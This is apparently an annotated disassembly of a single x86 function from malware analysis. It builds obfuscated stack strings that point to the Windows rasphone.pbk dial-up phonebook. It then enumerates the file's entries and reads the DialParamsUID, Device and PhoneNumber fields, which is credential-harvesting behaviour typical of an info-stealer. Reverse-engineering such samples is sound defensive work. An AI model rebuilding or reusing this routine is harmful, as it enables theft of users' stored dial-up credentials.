Function at 0x4046c0
Capabilities:
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
sub esp, 0x87c
push ebx
push ebp
push esi
push edi
push str.wsprintfA
mov ebp, ecx
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov ebx, 0x5c
mov al, 0x70
mov cl, 0x6b
mov dl, 0x2e
mov byte [esp + 0x84], bl
mov byte [esp + 0x85], 0x41
mov byte [esp + 0x86], al
mov byte [esp + 0x87], al
mov byte [esp + 0x88], 0x6c
mov byte [esp + 0x89], 0x69
mov byte [esp + 0x8a], 0x63
mov byte [esp + 0x8b], 0x61
mov byte [esp + 0x8c], 0x74
mov byte [esp + 0x8d], 0x69
mov byte [esp + 0x8e], 0x6f
mov byte [esp + 0x8f], 0x6e
mov byte [esp + 0x90], 0x20
mov byte [esp + 0x91], 0x44
mov byte [esp + 0x92], 0x61
mov byte [esp + 0x93], 0x74
mov byte [esp + 0x94], 0x61
mov byte [esp + 0x95], bl
mov byte [esp + 0x96], 0x4d
mov byte [esp + 0x97], 0x69
mov byte [esp + 0x98], 0x63
mov byte [esp + 0x99], 0x72
mov byte [esp + 0x9a], 0x6f
mov byte [esp + 0x9b], 0x73
mov byte [esp + 0x9c], 0x6f
mov byte [esp + 0x9d], 0x66
mov byte [esp + 0x9e], 0x74
mov byte [esp + 0x9f], bl
mov byte [esp + 0xa0], 0x4e
mov byte [esp + 0xa1], 0x65
mov byte [esp + 0xa2], 0x74
mov byte [esp + 0xa3], 0x77
mov byte [esp + 0xa4], 0x6f
mov byte [esp + 0xa5], 0x72
mov byte [esp + 0xa6], cl
mov byte [esp + 0xa7], bl
mov byte [esp + 0xa8], 0x43
mov byte [esp + 0xa9], 0x6f
mov byte [esp + 0xaa], 0x6e
mov byte [esp + 0xab], 0x6e
mov byte [esp + 0xac], 0x65
mov byte [esp + 0xad], 0x63
mov byte [esp + 0xae], 0x74
mov byte [esp + 0xaf], 0x69
mov byte [esp + 0xb0], 0x6f
mov byte [esp + 0xb1], 0x6e
mov byte [esp + 0xb2], 0x73
mov byte [esp + 0xb3], bl
mov byte [esp + 0xb4], al
mov byte [esp + 0xb5], 0x62
mov byte [esp + 0xb6], cl
mov byte [esp + 0xb7], bl
mov byte [esp + 0xb8], 0x72
mov byte [esp + 0xb9], 0x61
mov byte [esp + 0xba], 0x73
mov byte [esp + 0xbb], al
mov byte [esp + 0xbc], 0x68
mov byte [esp + 0xbd], 0x6f
mov byte [esp + 0xbe], 0x6e
mov byte [esp + 0xbf], 0x65
mov byte [esp + 0xc0], dl
mov byte [esp + 0xc1], al
mov byte [esp + 0xc2], 0x62
mov byte [esp + 0xc3], cl
mov byte [esp + 0xc4], 0
mov byte [esp + 0x54], 0x4d
mov byte [esp + 0x72], al
mov byte [esp + 0x79], al
mov byte [esp + 0x7f], al
lea eax, [esp + 0x17c]
push 0x105
push eax
mov byte [esp + 0x5d], 0x69
mov byte [esp + 0x5e], 0x63
mov byte [esp + 0x5f], 0x72
mov byte [esp + 0x60], 0x6f
mov byte [esp + 0x61], 0x73
mov byte [esp + 0x62], 0x6f
mov byte [esp + 0x63], 0x66
mov byte [esp + 0x64], 0x74
mov byte [esp + 0x65], bl
mov byte [esp + 0x66], 0x4e
mov byte [esp + 0x67], 0x65
mov byte [esp + 0x68], 0x74
mov byte [esp + 0x69], 0x77
mov byte [esp + 0x6a], 0x6f
mov byte [esp + 0x6b], 0x72
mov byte [esp + 0x6c], cl
mov byte [esp + 0x6d], bl
mov byte [esp + 0x6e], 0x43
mov byte [esp + 0x6f], 0x6f
mov byte [esp + 0x70], 0x6e
mov byte [esp + 0x71], 0x6e
mov byte [esp + 0x72], 0x65
mov byte [esp + 0x73], 0x63
mov byte [esp + 0x74], 0x74
mov byte [esp + 0x75], 0x69
mov byte [esp + 0x76], 0x6f
mov byte [esp + 0x77], 0x6e
mov byte [esp + 0x78], 0x73
mov byte [esp + 0x79], bl
mov byte [esp + 0x7b], 0x62
mov byte [esp + 0x7c], cl
mov byte [esp + 0x7d], bl
mov byte [esp + 0x7e], 0x72
mov byte [esp + 0x7f], 0x61
mov byte [esp + 0x80], 0x73
mov byte [esp + 0x82], 0x68
mov byte [esp + 0x83], 0x6f
mov byte [esp + 0x84], 0x6e
mov byte [esp + 0x85], 0x65
mov byte [esp + 0x86], dl
mov byte [esp + 0x88], 0x62
mov byte [esp + 0x89], cl
mov byte [esp + 0x8a], 0
call dword [0x478138]
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x17c]
push ecx
push ebx
push edx
mov byte [esp + 0x48], 0x44
mov byte [esp + 0x49], 0x6f
mov byte [esp + 0x4a], 0x63
mov byte [esp + 0x4b], 0x75
mov byte [esp + 0x4c], 0x6d
mov byte [esp + 0x4d], 0x65
mov byte [esp + 0x4e], 0x6e
mov byte [esp + 0x4f], 0x74
mov byte [esp + 0x50], 0x73
mov byte [esp + 0x51], 0x20
mov byte [esp + 0x52], 0x61
mov byte [esp + 0x53], 0x6e
mov byte [esp + 0x54], 0x64
mov byte [esp + 0x55], 0x20
mov byte [esp + 0x56], 0x53
mov byte [esp + 0x57], 0x65
mov byte [esp + 0x58], 0x74
mov byte [esp + 0x59], 0x74
mov byte [esp + 0x5a], 0x69
mov byte [esp + 0x5b], 0x6e
mov byte [esp + 0x5c], 0x67
mov byte [esp + 0x5d], 0x73
mov byte [esp + 0x5e], bl
mov byte [esp + 0x5f], 0
call sub.MSVCRT.dll_strchr
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x17c]
push eax
push ecx
call edi
lea edx, [esp + 0x84]
lea eax, [esp + 0x17c]
push edx
push eax
call edi
push 0
lea ecx, [esp + 0x388]
push 0x23
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov al, 0x25
lea edx, [esp + 0x54]
mov byte [esp + 0x10], al
mov byte [esp + 0x13], al
lea eax, [esp + 0x384]
push edx
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x38c]
push ecx
push edx
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], bl
mov byte [esp + 0x24], 0x73
mov byte [esp + 0x25], 0
call esi
add esp, 0x10
lea edx, [esp + 0xe8]
lea eax, [esp + 0x17c]
lea ecx, [esp + 0x384]
push edx
mov dword [esp + 0xe4], eax
mov dword [esp + 0xe8], ecx
mov dword [esp + 0xec], 0x94
call dword [0x478124]
mov eax, dword [esp + 0xf8]
mov edi, 2
cmp eax, edi
jne 0x404b58
cmp dword [esp + 0xec], 5
jb 0x404b58
mov ecx, ebp
call fcn.00404510
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
lea eax, [esp + 0xe4]
add esp, 4
mov dword [esp + 0xdc], esi
mov dword [esp + 0xcc], eax
mov dword [esp + 0xd8], edi
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0xcc]
mov eax, dword [ecx]
push eax
push 0x1000
push esi
mov dword [esp + 0xdc], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
cmp byte [esi], 0
je 0x404e36
push esi
mov ecx, ebp
call fcn.004052e0
mov dword [esp + 0xd4], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x284]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x58c]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x68c]
mov edx, dword [esp + 0xd0]
mov byte [esp + 0x39], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x48c]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x78c]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push edx
lea eax, [esp + 0x288]
push 0x100
push eax
lea ecx, [esp + 0x38]
push 0
push ecx
push esi
mov byte [esp + 0x44], 0x44
mov byte [esp + 0x45], 0x69
mov byte [esp + 0x46], 0x61
mov byte [esp + 0x47], 0x6c
mov byte [esp + 0x48], 0x50
mov byte [esp + 0x49], 0x61
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], 0x61
mov byte [esp + 0x4c], 0x6d
mov byte [esp + 0x4d], 0x73
mov byte [esp + 0x4e], 0x55
mov byte [esp + 0x4f], 0x49
mov byte [esp + 0x50], 0x44
call edi
test eax, eax
jle 0x404d1e
mov eax, dword [ebp + 0x10]
xor ebx, ebx
test eax, eax
jle 0x404d1e
mov dword [esp + 0xc8], ebx
mov edx, dword [esp + 0xc8]
mov ecx, dword [ebp + 0x1c]
add edx, ecx
lea eax, [esp + 0x284]
push edx
push eax
call dword [0x478128]
test eax, eax
je 0x404cce
mov ecx, dword [esp + 0xc8]
mov eax, dword [ebp + 0x10]
inc ebx
add ecx, 0x301
cmp ebx, eax
mov dword [esp + 0xc8], ecx
jl 0x404c91
jmp 0x404d1e
mov ecx, dword [ebp + 0x1c]
lea edi, [ebx + ebx*2]
shl edi, 8
add edi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x58c]
lea edx, [edi + ecx + 0x200]
push edx
push eax
call ebx
mov ecx, dword [ebp + 0x1c]
lea eax, [esp + 0x68c]
lea edx, [edi + ecx + 0x100]
push edx
push eax
call ebx
mov ecx, dword [ebp + 0x1c]
mov byte [edi + ecx + 0x300], 1
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
inc eax
mov dword [ebp + 8], eax
mov ebx, dword [esp + 0xd0]
lea edx, [esp + 0x48c]
push ebx
push 0x100
push edx
lea eax, [esp + 0x2c]
push 0
push eax
push esi
mov byte [esp + 0x30], 0x44
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x32], 0x76
mov byte [esp + 0x33], 0x69
mov byte [esp + 0x34], 0x63
mov byte [esp + 0x35], 0x65
mov byte [esp + 0x36], 0
mov byte [esp + 0x38], 0x50
mov byte [esp + 0x39], 0x68
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0x65
mov byte [esp + 0x3d], 0x4e
mov byte [esp + 0x3e], 0x75
mov byte [esp + 0x3f], 0x6d
mov byte [esp + 0x40], 0x62
mov byte [esp + 0x41], 0x65
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0
call edi
push ebx
lea ecx, [esp + 0x790]
push 0x100
push ecx
lea edx, [esp + 0x24]
push 0
push edx
push esi
call edi
lea eax, [esp + 0x78c]
mov ecx, ebp
push eax
call fcn.004052e0
lea ecx, [esp + 0x58c]
mov edi, eax
push ecx
mov ecx, ebp
call fcn.004052e0
mov ecx, dword [esp + 0xd4]
mov ebx, eax
lea edx, [esp + 0x48c]
push edi
lea eax, [esp + 0x690]
push edx
push eax
push ebx
lea edx, [esp + 0x294]
push ecx
push edx
mov ecx, ebp
call fcn.00404e80
mov eax, dword [esp + 0xd4]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x404bb4
mov esi, dword [esp + 0xdc]
mov ecx, dword [esp + 0xcc]
mov eax, dword [esp + 0xd8]
add ecx, 4
dec eax
mov dword [esp + 0xcc], ecx
mov dword [esp + 0xd8], eax
jne 0x404b83
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x87c
ret